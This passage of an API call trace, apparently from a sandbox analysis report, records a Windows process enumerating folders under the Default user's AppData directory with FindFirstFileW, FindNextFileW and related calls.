nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.706] FindClose (in: hFindFile=0x1d1f45d0 | out: hFindFile=0x1d1f45d0) returned 1 [0219.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.706] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", lpFilePart=0x0) returned 0x40 [0219.707] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\gadgets\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4bd0 [0219.707] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.707] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.707] FindClose (in: hFindFile=0x1d1f4bd0 | out: hFindFile=0x1d1f4bd0) returned 1 [0219.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0219.707] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x23 [0219.707] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\*" (normalized: "c:\\users\\default\\appdata\\local\\temp\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4690 [0219.708] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.708] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.708] FindClose (in: hFindFile=0x1d1f4690 | out: hFindFile=0x1d1f4690) returned 1 [0219.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0219.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0219.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0219.708] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x23 [0219.708] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\*" (normalized: "c:\\users\\default\\appdata\\local\\temp\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f53b0 [0219.709] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.709] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.709] FindClose (in: hFindFile=0x1d1f53b0 | out: hFindFile=0x1d1f53b0) returned 1 [0219.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0219.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0219.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0219.709] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", lpFilePart=0x0) returned 0x37 [0219.709] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*" (normalized: "c:\\users\\default\\appdata\\local\\temporary internet files\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0219.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d7d0) returned 1 [0219.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0219.712] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", lpFilePart=0x0) returned 0x37 [0219.712] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*" (normalized: "c:\\users\\default\\appdata\\local\\temporary internet files\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0219.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d7d0) returned 1 [0219.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0219.716] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming", lpFilePart=0x0) returned 0x20 [0219.716] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5470 [0219.717] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.717] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0219.717] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0219.718] FindClose (in: hFindFile=0x1d1f5470 | out: hFindFile=0x1d1f5470) returned 1 [0219.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0219.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0219.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0219.718] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming", lpFilePart=0x0) returned 0x20 [0219.718] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f40f0 [0219.719] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.719] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0219.719] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.719] FindClose (in: hFindFile=0x1d1f40f0 | out: hFindFile=0x1d1f40f0) returned 1 [0219.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0219.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0219.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0219.720] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2a [0219.720] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4bd0 [0219.722] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.722] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0219.722] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0219.722] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0219.722] FindClose (in: hFindFile=0x1d1f4bd0 | out: hFindFile=0x1d1f4bd0) returned 1 [0219.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0219.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0219.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0219.723] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2a [0219.723] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4c90 [0219.723] FindNextFileW (in: hFindFile=0x1d1f4c90, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.724] FindNextFileW (in: hFindFile=0x1d1f4c90, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0219.724] FindNextFileW (in: hFindFile=0x1d1f4c90, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0219.724] FindNextFileW (in: hFindFile=0x1d1f4c90, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.724] FindClose (in: hFindFile=0x1d1f4c90 | out: hFindFile=0x1d1f4c90) returned 1 [0219.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0219.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0219.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0219.725] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3c [0219.725] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4f90 [0219.725] FindNextFileW (in: hFindFile=0x1d1f4f90, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.725] FindNextFileW (in: hFindFile=0x1d1f4f90, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0219.725] FindNextFileW (in: hFindFile=0x1d1f4f90, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 0 [0219.726] FindClose (in: hFindFile=0x1d1f4f90 | out: hFindFile=0x1d1f4f90) returned 1 [0219.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0219.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0219.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0219.726] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3c [0219.726] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, 